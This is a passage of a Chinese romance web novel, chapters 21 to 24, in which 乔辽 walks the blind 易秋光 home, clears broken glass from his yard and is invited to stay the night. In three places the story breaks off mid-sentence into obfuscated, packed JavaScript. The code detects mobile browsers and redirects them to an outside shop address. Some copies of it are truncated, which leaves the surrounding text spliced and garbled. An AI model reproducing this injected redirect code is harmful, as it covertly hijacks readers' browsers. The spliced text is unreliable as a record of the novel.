“故听老师,”易秋光的声音里都染上了笑意,他对乔辽说,“牵着我吧,带我回家。” 21. 认领 易秋光的笑容是最不好拒绝的。 更何况此时的这个笑容,是独属于乔辽的。 他伸出手,握住易秋光的手腕,问道:“你住在哪一栋?” “就在前面了,”易秋光抬起手,带着乔辽的手一起指过去,“这个方向,再走几步能看见一棵挺高的树,树旁边有个路灯,然后往左走,走到头。我住的那栋单元楼门口,还停着一辆坏掉的自行车。” “知道了。”乔辽说。 这个小区太老,车都停在楼下,易秋光走在外侧不太安全。 乔辽下意识拉了拉他的手腕,这个动作的意思,是让易秋光和他换个位置。 下一秒,易秋光偏头问他:“怎么了吗?” “没事,”乔辽干脆带着他和自己换了个位置,“小区里车太多,你每天回家要多注意安全。” “谢谢,不过那些车一般都不会撞我,”易秋光笑着说,“我又看不见,还拿着盲杖老老实实地走在路边,那些车干嘛过来撞我。” 乔辽第一次觉得,易秋光说话怎么这么不讲道理,歪理还挺多的。 但转念一想,他又觉得挺心疼。 “你别管车怎么想,安全第一,”乔辽放慢步子,用另一只手握住易秋光拿盲杖的手,又带着这只手往旁边动了两下,盲杖也敲上了道路边沿的小台阶,他放开手,带着易秋光站在原地,“感受到了吗,要靠着这边走。” “知道了,”易秋光再次用盲杖敲击旁边的小台阶,“我以后就挨着这边走,绝对安全。” 乔辽“嗯”了声,易秋光又从袋子里拿出李子喂进嘴里,嚼着问他:“你看到那棵树了吗,应该是小区里最高的一棵树了。” “看见了,就在前面,但我们现在得绕路,”乔辽说,“再走两步,就要碰到拉警戒线的地方了。” “那就麻烦你带着我走了,”易秋光笑了笑,似乎是有些无奈,“我没怎么在小区里走过,每次都只走这一条路,实在是不太熟悉。” “没事,不麻烦。”乔辽带着他往道路另一边走。 他们走到路灯下,旁边就是那棵高树。 这个场景,其实挺像两年前的。 但不是他和易秋光的两年前。 而是易秋光和佟舟的两年前。 是他们牵着手的那天。 那一天,他们也是在这样的大树下,昏黄路灯照在他们身上,易秋光就这么朝佟舟伸出了手。 想到这里,乔辽下意识加重了手中的力度,他故意和易秋光站得很近,在有人经过的时候,又会做出一副很平常的样子。 就好像,这条路,他已经拉着易秋光走了无数次。 他就跟有病一样,想用这种方式告诉那些路过的人,你看吧,我和易秋光感情很好,你看啊,我要带着他回家了。 有什么用吗,屁用没有。 他甚至都想过,在他做出那种假装平常的模样时,到底会是一副什么样子,大概会挺做作的,也可能会奇怪。 但在那种时候,他还挺满足的。 乔辽承认,他这种行为说出去是挺招笑的,要是被郭宝卓知道,肯定还得笑上个几天几夜。 但他的确是不想放手,可这手,又不得不放开。 他带着易秋光在小区里绕上几分钟后,终于走到那辆自行车边上。 他们刚站到那儿,楼道里的灯就亮了起来,暖黄色的灯照上那辆自行车。 从外表看,根本就看不出来这车是坏的,最多就是车上有些灰,但也不重。 乔辽挺纳闷的,易秋光怎么就这么肯定,说这辆车是坏的。 “已经到楼道口了,”乔辽问他,“你住几楼?” “一楼,”易秋光望向停自行车的地方,“这辆车是不是挨着墙放的?” 乔辽说了声“是啊”,问他:“怎么了?” “没什么,”易秋光摇摇头,“上次还是捕山月告诉我的,他那天到我家来接我,说楼道口突然多了一辆自行车,横在这里挡着路了,这车又没锁上,他准备推到一边放着,至少别挡着路,但这车是坏的,推不动。” “放在这里很久了?那估计是没人要了,”乔辽觉得,不想要的自行车确实可以丢掉,但也不能像这样乱丢,“你在小区里问过吗,没人认领的话,就丢了吧,免得哪天倒下来,你出门会不方便。” “问过,没人理我。”盲杖敲击地面,易秋光带着他走到门口,抬起拿盲杖的那只手去碰门上的指纹锁,门锁打开,楼道里的灯也暗了下去。 易秋光推开门,示意乔辽先进去。 他迈出一步,走进门又回头看向易秋光,楼道的声控灯在易秋光的脚步声中再次亮起来。 终于,易秋光走到乔辽边上,关上门,那辆自行车也从乔辽视线中消失。 周围陷入黑暗。 几秒后,易秋光打开屋里的灯,电子音说着“灯已打开”,紧接着,他走到餐桌前,把李子放到桌上。 “我也不敢就这么随便丢了,每次都想着,要是哪天就有人找来了呢,要是我把这辆自行车换了个地方,那个人找不到了该怎么办,”盲杖被易秋光收了起来,他拿着那根细枝,慢慢往厨房走,“反正那辆自行车是靠着墙放的,我只需要确定,自行车不会倒就行,只要像现在这样一直放在远处,一定会有人找过来的,就算不要了,也会在某一天拿去丢掉的,对吧。” “应该是吧,”乔辽不明白易秋光说的这些话是什么意思,只好说了一句,“那你出门的时候注意安全。” “好,我会的。”易秋光笑着说道。 乔辽一直跟着易秋光在走,他跟着这人走到厨房边,又看着易秋光打开厨房灯,同样的,也是有语音提醒。 这些灯,是易秋光为乔辽开的。 也不对。 应该说,这些灯,是易秋光为故听打开的。 易秋光没有光感,他其实不需要这些,需要光亮的,只有那些需要用视觉去感知世界的人。 乔辽抬头看向那盏发出白光的灯,又看向那个蹲下身子的易秋光。 这人打开底下的柜门,从里面拿出一个不太高的花瓶。 细枝被放进花瓶里,易秋光拿着花瓶起身从厨房走出来,他把花瓶放到餐桌上,又摸索着提起那一大袋李子,大概是要去洗。 “我来洗,”乔辽果断从他手上拿过那袋李子,“你吃几个?” 这一大袋李子也太多了……吃完是不是会胃不舒服,再说了,就算他把这些李子都洗了,易秋光也不一定能吃完。 想到这里,乔辽干脆伸手从袋子里抓上一小把,又把袋子放回桌上。 正当他准备去厨房的时候,易秋光突然伸手拉住他的袖口,接着就用另一只手去碰他握着李子的手。 这种触碰不是牵手,更不是什么暧昧的试探。 但乔辽却一瞬间紧张起来,大概是太久没和易秋光有这种接触。 这种,有着温度的轻触。 “你拿了多少?”触碰还在继续,易秋光松开拉着的袖口,用掌心托住乔辽握着李子的手,然后用另一只手去数他拿了几个李子。 乔辽这只手握得有些紧,不然他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140555|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总怕李子会从手里掉出去,易秋光大概是清楚这点,也就没有把他的手掰开数。 而是用掌心包裹着他的那只手,大拇指从指缝中缓慢移动,轻轻地按着。 “这是几个,”易秋光还在轻按,“好像没有几个,你能不能多拿点?” “能,我先把这点洗了,”乔辽看着易秋光说,“等你把这几个吃完,我再给你洗。” “那就麻烦你了。”易秋光松开手,站在原地没再动。 乔辽低头看了眼自己的手,把李子握得更紧,转身进了厨房。 他走到水池边,打开水龙头,凉水缓缓流出,打湿了手背,乔辽扭头看向柜子,随手打开一个,从里面拿出一个空盘,用水冲了冲,接着开始一个个洗着李子。 水流滑过手背,流进指缝。 这种触感,都不及刚才易秋光在他手上的那几下轻按来得温柔。 洗完手里的李子,乔辽还是没从刚才的触碰里缓过神来。 应该是太久没有见到易秋光,应该是太久没有和易秋光有过这样的接触。 乔辽心里也明白,就算他和易秋光分开再久,还是无法抵挡住这种触碰。 乔辽端着盘子走出去,易秋光还是站在原地等着,盘子被放到桌面,乔辽拿起一个李子递到易秋光手边:“吃吧。” “谢谢,”易秋光笑着接过,喂进嘴里咬上一口,“你等会儿带点走吧,我买这么多根本就吃不完,这一袋里面本来就有你的一份。” 哈哈哈哈哈哈哈哈。 我就说老天爷开眼了吧,乔辽啊,你真是江城最好命! 还没等乔辽再继续高兴下去。 易秋光又开口说道:“我明天再用袋子装一点,带去工作室给捕山月。” 老天爷啊,你闭眼吧。 乔辽深吸口气,看向易秋光手里那个快要吃完的李子:“你对他还挺好的。” “他对我也挺好的,”易秋光笑了笑,伸手抽出一张卫生纸递到嘴边,吐出果核,用纸包住,“我在这里也只有他这一个朋友,其实,我不是江城本地人,要是没有他,我应该不会过得这么容易。” 易秋光说的这些,乔辽其实也明白。 环境都是需要适应的,易秋光身边要是没人帮忙,全靠自己会变得很麻烦。 但乔辽不觉得自己是什么很大方的人,他能接受易秋光有别的朋友,但他的直觉并不认为捕山月是什么普通朋友。 乔辽拿起一个李子放到易秋光手心,就跟抱着什么希望似的,问道:“你……为什么来江城?” “有个工作机会挺好的,我就来了,”易秋光没再吃这个李子,他把李子拿在手里,沉默一会儿,突然有些抱歉地对着乔辽笑了笑,“故听老师,你能再帮我一个忙吗?” 别说一个。 一百个都行。 乔辽“嗯”了声,易秋光就跟松了一口气似的,说道:“那太好了,我是想让你帮忙看看,院子里是不是有很多碎玻璃,要是有的话,估计得麻烦你帮我弄一下,但是你放心,我也会跟着一起收拾的,不会让你一个人来。” “这件事也是有工资的?”乔辽问他。 易秋光点头说:“当然。” “那你现在欠我两顿饭了,”乔辽问他,“是吗?” “对,”易秋光笑着说,“你想吃什么都行,我肯定让你吃饱吃好。” “带我吃什么都可以,你挑地方就好,”乔辽顿了顿,又说,“那你能不能早点有空,我不想等太久。” 易秋光愣了一下,随后说道:“好,一定。” 22. 牵着 对乔辽而言,“一定”这两个字,就是肯定的答复。 他其实不需要一个太准确的时间,只需要知道易秋光还会再联系他就够了。 下次见面,就在不久之后。 易秋光把手里那个李子放回盘里,带着乔辽往前走了几步,打开紧闭的窗帘。 外面就是院子了,这个视角还能看见小区里的路灯,就是光照不算太好。 易秋光推动滑门,往边上让了让,示意乔辽先往前走。 在他迈步之后,院子里的灯也被打开。 院子里位置不算大,但被布置得很不错,角落里放着一把藤椅,还有一张不大的圆形桌,不远处被腾出来一块地方,种着花。 乔辽不知道这些花叫什么名字,也没闻到什么花香,他只觉得这花挺好看的。 他站到院子中间,抬头就能看见楼上那几层住户家里的阳台,这边毕竟是老小区,楼层不高又没电梯。 但还好,易秋光住在一楼,回家也算方便。 可住在一楼,也不是事事都好。 玻璃自爆的那户是最顶层,就和易秋光猜测的一样,这个院子里,到处都是玻璃渣,想要清理起来会是一件有些麻烦的事。 但这件事,乔辽不会让易秋光去做。 易秋光不方便,要是被玻璃渣刺伤了手,那才是比收拾更麻烦的事。 “故听老师,”易秋光走到他边上,伸手戳了一下乔辽胳膊,“院子里的玻璃渣很多吗?” “还好,”乔辽问他,“扫把放在哪里?” “我去拿。”易秋光说完正要转身。 乔辽叫住他,说道:“我跟你一起。” “好。”易秋光笑笑,带着他转身往前走了几步,接着拐了个弯,打开灯。 这个地方是一个小阳台,放着打扫工具,旁边还有个扫地机器人。 乔辽抬起视线,正好看见旁边那扇窗户。 窗户开一半关一半,他第一眼看见的就是里面房间放着的大床,借着灯光,能看见上面铺着鹅黄色床单,淡绿色薄被整齐地放在床上,还有一个套着鹅黄色枕套的枕头,然后是一张小桌子,旁边的衣柜大概是有点坏了,门还有些敞着,有一种快关上又关不上的感觉。 这个房间应该就是易秋光的卧室了。 乔辽移开视线,看向易秋光:“你先去沙发上坐着,我去打扫一下,很快的。” “我们一起,”易秋光做出撸袖子的动作,明明这是个穿短袖的季节,“虽然不能帮忙捡多少,但我还是能做的,我只是想让你帮忙看看,要是我没收拾干净,就得让你帮我弄一下了,我怎么能全都让你来弄……那太不好意思了。” “不用你来,没有多少碎玻璃,我一个人就行,”乔辽犹豫一下,干脆伸手拉住了易秋光的胳膊,带着这人往沙发边上走,“你去坐着就行。” 易秋光被他带到沙发边坐下,脸上露出抱歉的表情,乔辽不喜欢他这样,总觉得有距离感。 “那就麻烦故听老师了,”易秋光说,“谢谢。” 乔辽本来想说“不用对我说谢谢”,但开口还是说:“不用谢。” 他走到那些打扫工具旁边,拿起扫把和簸箕,走到院子里后,又回头看了眼易秋光。 这人还是在沙发上坐着,什么都没干,对面墙上挂着的电视也黑着屏,客厅里安静得不行。 乔辽在院子里慢慢收拾着,时不时就会抬头去看一眼易秋光,但这人就是什么都不做,坐在那里也不知道在想什么。 在院子收到一半的时候,易秋光终于拿出了手机,乔辽提着簸箕去客厅倒玻璃渣的时候,正好听见手机朗读着页面信息。 有的信息被完整地念了出来,还有的被快速跳过,但乔辽还是能听出来,那些都是店名。 易秋光估计是饿了,想点个外卖。 想到这里,乔辽拿出手机看了眼,现在这个点确实已经不早了,平时这个时候,他都已经洗完澡,坐在电脑面前盯着屏幕发呆了。 大概是停留时间有些久,易秋光停下手里的动作,抬头望向乔辽的方向问道:“故听老师,已经清理干净了吗?” “快了,”乔辽问他,“你是不是饿了?” “有点,但还好吧,我主要是想给你买点吃的,”易秋光笑了笑,问他,“你想吃点什么?” “我点吧,”乔辽一边说一边打开外卖APP,开始扒拉,“我已经点了,你不用点了。” 易秋光愣了一下:“这么快?几秒就好了啊?” “是……我饿得有点着急。”乔辽纯属乱说,他压根就没下单,甚至都还没选好要点哪家。 这个时间能选择的店还是挺多的,炒菜还有,烧烤什么的也已经开始了,他没多犹豫,选了一家易秋光可能会喜欢的店,点了一些烤串和喝的。 费时间最多的,是填地址的时候。 小区能确定,单元楼不太确定。 但那句已经点好外卖的话都说出去了,他也不可能再去问易秋光,干脆就随便选了一个,在备注栏写着:到达小区之后给我发消息。 乔辽收起手机,拿起簸箕正准备转身继续去院子里收拾,易秋光突然喊了声“故听老师”,问道:“你知道这里的地址吗,这个小区有点绕,地址不对的话,容易送错。” “地址应该没错……”乔辽提起簸箕走到院子门口,拿起靠墙放着的扫把,“我去院子里继续收拾一下,很快了。” 易秋光对着他点了点头,乔辽转身的时候,拿着的扫把碰上簸箕,发出沉闷的响声。 他已经收拾到藤椅那边了,碎玻璃不好弄,还有的落在角落和那些花里,乔辽只能慢慢来。 易秋光做什么都是靠触碰,他担心自己要是一不注意漏掉一点碎玻璃,就会让易秋光的手受了伤。 所以他只能反复检查,不停地用眼睛去找。 可乔辽又担心自己实在是太慢,会耽误易秋光睡觉的时间。 要是易秋光知道他是乔辽就好了。 那样,他就可以在这里慢慢收拾,不管到几点都行,易秋光可以踏实地去洗澡,去睡觉。 可现在不行。 因为,他是故听。 因为,就算他是乔辽,易秋光也不一定会让他留在这儿。 也不知道时间过了多久,乔辽正准备再去角落检查一下的时候,手机突然响了起来,他拿出手机一看,显示的是一串陌生号码,上面标签显示:快递外卖。 他挂断电话,正准备打开外卖APP给外卖员发个消息。 可外卖员挺执着,还没等他点开APP图标,电话就又来了。 乔辽再次挂断电话,放下手里的扫把,快步往门口走,但这电话就跟催命似的,一通又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几乎是一瞬间,易秋光放开了手,他把手机拿到耳边,先是说了声“不好意思”,然后问对面人:“小区今天封了路,我这边有点不好找,我出去拿吧,你现在已经进小区了吗?” 这人说着说着就往门口走,乔辽连忙跟上,他打开门,易秋光也对着电话那头“嗯”了声。 他们两个一前一后走出门,楼道里的灯亮了起来,易秋光把手机拿离耳边,屏幕上显示的通话界面也消失了,估计是外卖员挂断了电话。 “往小区门口走吧,你还记得路吗,”易秋光突然停下步子“啊”了声,“我忘记拿盲杖了,故听老师,你带着我走吧。” “好。”乔辽收起手机,伸出手。 他们先是手背相碰,再往上就是手腕位置,在这个时候,乔辽也和易秋光走得更近了些,他的指尖从易秋光手背上缓慢滑过,最后停在手腕处。 他轻握住易秋光手腕,说道:“牵好了,我们走吧。” 这句话其实是有点暧昧的,但却是乔辽下意识说出口的。 他带着易秋光往前走了几步,估计着,刚才那句话应该不会再有回应了。 但下一秒,他就听见易秋光说:“你饿吗?” 乔辽估计着,是易秋光太饿了,于是他说:“我快点走,等会儿就能吃上了。” “我都快饿死了,”易秋光笑着说,“跑两步吧。” “跑?”乔辽犹豫着说道,“不太安全,我们快点走就行。” “你不是正牵着我吗,”易秋光晃了晃被牵着手腕的手,“很安全的,我相信故听老师,带着我一起跑吧。” 23. 一夜 小区门口距离单元楼不远,乔辽是带着易秋光跑过去的。 他的步子也不敢放得太快,总担心易秋光会摔跤,乔辽过一会儿就会偏头看一眼身边人,易秋光脸上总是带着笑,心情似乎很不错的样子。 在快要到达小区门口时,乔辽看见了外卖员,他冲那边挥了挥手,过去对了一下电话尾号,外卖终于拿到手,乔辽放开牵着易秋光的手,干脆站在原地打开外卖袋,从里面拿出一串烤肉放到易秋光手里。 “你先吃着,垫垫肚子,”乔辽说完又系上袋子,“等会儿到家了再坐着慢慢吃。” “好,”易秋光把烤串靠近鼻子闻了闻,又喂进嘴里,“很好吃,这是哪一家?” 乔辽拿起外卖袋看了眼上面的小票,报出店名,他伸手正准备牵着易秋光的手腕,带着这人往家的方向走。 但易秋光比他快了一步。 这人握住乔辽的胳膊,吃了一口手里的烤串,说道:“走吧,我们回家。” 易秋光握住他胳膊的力度不算大,但被握住的地方正好是袖口以下。 掌心的温度不会烫伤人,可此刻,乔辽却觉得自己浑身都烫着,尤其是被掌心包裹的位置。 走路的速度都被放慢,乔辽甚至都快要同手同脚,他走几步就会看向自己被握着的胳膊,甚至有那么一瞬间,他都怀疑自己回到了两年前。 回到了他和易秋光还在一起的时候。 在这条路上,他和易秋光短暂地“和好”了几分钟。 他们走在那条回家的路上,每天都是如此,马路两边的店铺会变,偶尔也会出现积水或是封路的情况,唯一不变的,就是他们牵着彼此的手。 可这条路始终会有尽头,暂时的“和好”也会到结束的那一刻,当他们回到家,迈进门的时候,易秋光放开了手。 但那种几乎灼烧的感觉,却没有从乔辽身上消失。 他把外卖放到桌上,插着细枝的花瓶被他往靠墙的位置挪了挪,乔辽敞开袋子拿出一部分吃的,易秋光坐到桌前笑着问他:“现在可以开始吃了吗?” “吃吧,”乔辽站在他边上,把吃的往易秋光手边挪了些,“我去把院子里剩下的地方收拾一下,等会儿就来,你先吃。” “别啊,一起吃,”易秋光正准备把烤串喂进嘴里,听见他这么说,连忙也不吃了,“那我也不吃了。” 现在这个点,确实已经该休息了,要是再不赶紧收拾,就会弄到很晚,要是这样的话,易秋光就没办法好好休息了。 乔辽也确实这么说了,易秋光听完后犹豫一下,又拿出手机扒拉两下,客厅里响起了电子音朗读时间的声音。 几秒过去,易秋光收起手机,他先是喊了声“故听老师”,接着就放下手里的烤串:“你住得离这里远吗?” “还行吧,”乔辽说,“我等会儿叫辆车回去就行。” “得叫车啊,那还是挺远的,要是不急着回去的话……”易秋光笑着说,“你今天就在我这里过一夜吧。” 助听器坏了吗。 耳蜗坏了,完了。 他怎么还出现幻听了。 乔辽盯着易秋光的嘴,轻声问道:“你能再说一次吗,我刚才走神了,没太听清。” “我说,”易秋光还是笑着,“你要是不着急回去,今晚就在我这里过一夜吧。” 乔辽几乎秒答:“可以。” 口型没错,每个字也都听清了。 易秋光是让他今天就住在这里。 他们一起。 住在一起。 “那你现在能坐下吃了吧,”易秋光往前指了一下,应该是让乔辽坐到对面的意思,“我本来一开始就是想点个外卖给你吃的,结果外卖让你点了,现在外卖到了你又不吃,还要急着去收拾……你这样做,我怎么还吃得下去,要是你等会儿还得叫车回去,那我今晚都得睡不着觉。” “我没想着不吃,就是想快点弄完,好让你早点休息。”乔辽坐到易秋光对面,说出这些话。 这几句话说得有些着急了,但他还是在努力把每个字都说得清楚,也不知道易秋光听进耳朵里,会不会觉得有些奇怪。 “还没到我睡觉的时候,”易秋光拿起几串手边的烤串,又不敢举得太高,大概是怕签子会戳到对面人,他小心地把烤串递过去,说道,“你快吃,真的挺好吃的。” “谢谢。”乔辽接过烤串,吃上一口。 易秋光大概是在等着他的回答,这人现在也没接着吃,而是一直望着他的方向,乔辽嚼了嚼嘴里的东西,又拿起一些吃的放到易秋光面前。 “确实好吃,你多吃点,”乔辽说完就拿起手边那杯喝的,插上吸管递了过去,“百香果味的,你尝尝。” 易秋光没有喝,而是问他:“你点了几杯?要是只有一杯,那就你喝吧。” “两杯,你听。”乔辽端起另一杯,插上吸管,喝上一大口后,轻晃两下杯子,里面的冰块碰上杯壁,发出清脆声响。 “这到底是卖冰还是卖喝的啊,”易秋光笑了起来,摸索着吸管位置,凑上去喝了一口,“我收回刚才那句话,确实是卖的喝的,味道挺好的。” “喜欢就好,快吃。”乔辽拿起一串烤肉,喂到嘴边咬了一口,他吃得慢,这大概是种习惯。 他总是想等着易秋光先吃饱吃好,他接着吃剩下的就行,乔辽就这么慢慢吃着,脑子里也在不停地瞎琢磨。 晚上睡哪儿呢。 易秋光这里好像只有一间房。 客厅里?沙发上也行。 但这沙发不大,是单人沙发,躺在上面有点硌得慌,平时躺着休息一下还行,要是在上面睡一觉,估计腰会散架。 那睡哪里呢。 易秋光会给他打个地铺? 地铺打哪啊……客厅吗。 也行吧,他晚上还能帮忙看个门。 乔辽瞎琢磨了好一会儿,吃完那些东西之后,易秋光也没让他收拾。 易秋光说:“碎玻璃渣我确实收拾不干净,但这个好收拾,我自己可以。” 说是这么说,乔辽还是会不放心,他把吃完的签子全部扔掉,确定没什么东西会戳伤划伤易秋光后,才放心地回到院子里。 吃饱了好干活。 这句话果然是真的。 吃完之后干活是带劲了,但这瞌睡也找上门来了,乔辽一边收拾一边打瞌睡,在快要十一点的时候,他终于把院子里的碎玻璃收拾完了。 乔辽来来回回检查了好几趟,确定院子里真的已经被收拾干净后,才算是彻底放下心。 他把打扫工具放回原位,离开院子关上滑门,但客厅里已经没有易秋光的影子了。 乔辽站在原地喊了声“三季老师”,无人回应,他干脆又往前走了几步,停在餐桌边上。 餐桌已经被收拾干净,一大袋李子被分成了三份,分别用保鲜袋装着,那个靠墙放着的花瓶也被挪到了中间。 紧接着,他听见旁边那间房里有水声。 乔辽刚往前迈出一步,准备去看看,发出水声的房间突然变得安静,房门被打开,易秋光从里面走了出来,手上还拿着毛巾正擦着头发。 乔辽站在原地没动,易秋光大概是察觉到身边站着人,他偏头望过来,停下擦头发的动作:“故听老师,院子里弄好了吗?” “弄好了。”乔辽回头看看客厅,地上没有打地铺,沙发上也没有放被子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140557|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以……他是要在易秋光房间打地铺? 挺好,有赚到。 “那你快去洗澡吧,辛苦你这么久了,”易秋光往身后的房间指了指,“我给你拿了毛巾,我之前买的新的还没用过,还有一套居家服,我穿过几次,昨天刚洗过,也不知道你穿着合不合适。” “谢谢,”乔辽说,“那我先去洗澡。” “行,”这句话刚说完,易秋光突然脱下脚上的鞋子,“你换这双鞋去洗,我家里没其他鞋了,不穿鞋容易摔跤,那我先回房间了。” 易秋光就这么光着脚转身,往房间慢慢走,好在家里是木地板,现在这个月份,踩在上面也不会冷,乔辽站在浴室门口,看着易秋光走进房间。 过一会儿后,他取下助听器和耳蜗,把这两样东西和手机放到客厅桌上,接着换上鞋子,进了浴室。 浴室里还有未散尽的水雾,沐浴用品的气味也有些许残留,置物架最上面放着一套纯色居家服和一条毛巾,乔辽脱下衣服,打开花洒。 他下意识抬腿,用鞋底在地上蹭了蹭,地面做了防滑,易秋光现在……应该不会再摔跤了。 那些沐浴用品也都被放在置物架最底层,不用蹲下,不会撞头,站着伸手就能拿到。 乔辽往前一步看了看,沐浴用品一共三瓶,全都是三合一的,就是香型不一样。 也挺好的,方便。 他随便选了一种,味道也挺好闻的,和刚才浴室里残留的气味不太一样,在他洗好澡正准备关上花洒的时候,门突然被打开了。 乔辽愣了一下,甚至还有点被吓到,毕竟他现在听不见任何声音,就算听得见……洗澡的时候突然被打开门,会吓到也纯属正常。 门不是自己打开的,而是被易秋光打开的。 这人扶着门框,手里还拿着一个东西,他把手中的东西递上前,对着乔辽说了一句什么,浴室里水雾太大,他没看清口型,在这种情况下,他也没办法静下心。 虽说易秋光看不见,但这人吧……还是会觉得有点不好意思。 两年没在别人面前脱了,今天就这么脱了,还是在易秋光跟前。 多难为情啊。 哎你看这事整的,要是易秋光真能看见就好了。 自信这块儿,拿捏了。 乔辽关上花洒,接过东西,易秋光也立马关了门。 门被关上的那一刻,乔辽果断看向手里那个东西,包装袋上写着:一次性男士内裤。 不得不说,易秋光考虑得还是挺全面…… 他换上衣服,把浴室窗户打开透气,去客厅戴上助听器和耳蜗,把手机放进居家裤的口袋里。 这口袋挺小的,手机只能放进去一半,要是走路步子迈大点,估计还得掉出去。 乔辽又把手机往口袋里塞了塞,发现确实没办法之后,选择放弃。 屋里还是挺安静的,洗好内裤,晾在阳台后,乔辽站在原地不知道该去哪里,过了一会儿,他听见了易秋光说话的声音。 但易秋光不是在和他说话,听着像是在打电话,易秋光说着“知道了”,一会儿又说着“那就这么说先挂了”。 话音刚落没多久,易秋光就从房间里走了出来,他望向乔辽的方向,问道:“要吹头发吗,吹风机在我房间里。” 乔辽抬手摸了摸头发,说道:“不用,我没洗头。” “那走吧,进房间。”易秋光在前面慢慢走,乔辽就跟在他后面。 进到房间后,乔辽第一反应就是,这人怎么没给他打地铺啊。 乔辽停下脚步,站在床边问道:“我睡哪儿?” “床上啊,”易秋光指着床说,“家里就这一张床,你跟我一起睡。” 24. 适应 我的天。 谁说楼上这玻璃爆得不好,这玻璃可爆得太好了! 乔辽就这么盯着床一直看,表面毫不在意,实则,那颗心早就飞到床上躺下了。 可到了这种时候,他又开始犹豫,本来一切都在脑子里想得挺好。 不就是脱鞋子然后躺上去,再盖上被子闭眼吗。 现在好了,他就连脱鞋都办不到了。 易秋光已经躺在床上好一会儿了,他偏头望过来,拍了拍旁边放着的靠枕。 应该是客厅沙发上的。 “上来啊,你不困吗?”易秋光说完又拍了两下靠枕。 “困,”乔辽心一横,脱了鞋一迈腿踩上床,站在上面跟个大爷似的,“我上来了。” “我知道……能感觉到,”易秋光指着那个靠枕说,“家里只有一个枕头,我就给你拿了一个靠枕,要是你用不习惯,我们就换一个,你用枕头。” “不用,这个就可以。”乔辽把靠枕立起来靠着床头。 接着就坐下,靠上。 他盖上薄被,往床边挪了挪,这张床说大不大,说小嘛,两个人躺在一起又不会紧挨着。 乔辽现在就连腿都不敢乱动,虽然他和易秋光都穿得好好的,但要是在这种时候突然碰上对方的腿…… 不能再想了,要是再想下去,今天晚上就真的不用睡了。 他再次往边上挪了一下,手机放在口袋里有点硌得慌,乔辽干脆把手机拿了出来。 身边人好像也没准备睡觉,易秋光和他一样,拿着手机扒拉来扒拉去。 乔辽听着屏幕朗读的内容,估计易秋光是在忙工作的事。 乔辽现在也没什么事情好做,码字吗,不太行,他根本静不下心,打游戏吗,他也没什么游戏可玩的,聊天软件里倒是有几个红点,猜都能猜出来,这几条消息里面肯定有郭宝卓。 果然,点进聊天软件后,他第一眼看见的就是郭宝卓的消息,剩下的都是广告或是群消息。 乔辽扒拉两下屏幕,点进郭宝卓的聊天界面。 这人简直就是手上长了张嘴,怎么会有这么多话要说,乔辽往上扒拉好几下,才看见他发来的第一条消息。 郭宝卓:好兄弟,我喝大了,巨大无比。 郭宝卓:好兄弟,我要去找心动对象好好聊一聊,你觉得我能成功吗? 郭宝卓:我被打了,你来救我。 郭宝卓:兄弟,我说我被打了!!! 郭宝卓:哈喽,我被打了。 郭宝卓:你不用来救我了,我已经走了,我走得洒脱我走得自然我走的直线。 什么玩意儿。 指尖在屏幕上停留好一会儿,乔辽回复了一句:你的心动对象打你干嘛? 郭宝卓秒回:情敌打的,因为我总偷拍心动对象发朋友圈,但你放心,我抗揍,没大事,不用带我去医院,也不用打120,我很好,im fine,thank you哟兄弟。 这已经不是喝大了……这得是喝疯了。 乔辽没回复,而是先点进这人朋友圈看了眼,根本就没有什么心动对象的照片,要真是和他说的那样,因为这件事挨打,那也没得话说。 偷拍这件事,本来就不对。 乔辽回复:知错就改,我看你朋友圈里也没有照片了,删了就行,以后别这样了。 郭宝卓:没,那些朋友圈你看不见,因为我屏蔽你了。 乔辽沉默回复:知道了,挨打是你的命。 郭宝卓:别写小说了,开个视频陪我聊聊。 拒绝的话都还没发出去,视频通话的声音先响了起来,乔辽被吓了一跳,易秋光也看了过来,问他:“谁啊?” “朋友,”乔辽按下挂断键,“没什么事。” 他快速打字,回复道:不方便。 然后拿起手机,拍了张照片发过去。 照片里,有乔辽压不住嘴角的笑脸,还有易秋光的胳膊和身后的床头。 郭宝卓先是回复:哦哦哦你要睡觉了啊。 下一秒,这人又回复:你家换床了? 大概是终于发现了重点,郭宝卓发过来好几个感叹号,再次回复一句:哦天哪你买了一比一等身娃娃!!! 哈哈哈哈哈无语死了郭宝卓你个神经病。 乔辽快速打字回复:错,大错特错,睡在我边上的人是易秋光哟。 这句话发出去之后,对话框最上方显示出“对方正在输入”,也不知道这人在琢磨什么,几秒后,对话框里跳出一条语音,还有点长。 乔辽正准备把这条语音转成文字看一下,易秋光突然伸手拍了一下他的肩膀,动作来得突然,乔辽手里一抖,直接点了下去。 房间里本来还是挺安静的。 在语音条被按下去的那一刻,房间里都快要吵死了。 郭宝卓那条语音什么话都没说,就是一味地喊。 好像那个土拨鼠一样。 啊——!!! 语音播放结束,房间里沉默好一会儿,易秋光的手还戳在他肩膀上,似乎是在思考,刚才那死动静到底是什么。 “我朋友发的语音……有点喝多了,”乔辽解释道,“你别害怕。” “没怕,”易秋光笑着说,“我还以为你在看动物世界呢。” 